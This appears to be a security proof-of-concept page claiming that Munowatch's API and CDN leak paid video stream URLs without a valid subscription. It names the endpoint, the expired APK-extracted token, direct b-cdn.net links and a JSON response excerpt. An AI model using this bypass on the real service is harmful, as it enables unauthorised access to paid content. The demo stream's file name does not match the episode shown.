SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned playingUrl for Man Vs Bee 1-2 with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
Man Vs Bee 1-2
Vj Junior Series 26h 10m 4 years ago

A man finds himself at war with a bee while housesitting a luxurious mansion. Who will win, and what irreparable damage will be done in the process?

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/24315/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 35
video_name Man.Vs.Bee.S01E01-2.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

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    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "35",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "26h 10m",
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    "tfilehistory": "",
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    "recording_date": "2022-07-26",
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    "secduration": "94200.000000",
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    "genre": "Series",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 8,
    "episode_state": "NEXT",
    "nxt_eps": "EPS    3",
    "nxt_eps_id": 25193,
    "nxt_eps_title": "Man Vs Bee 3",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
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    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
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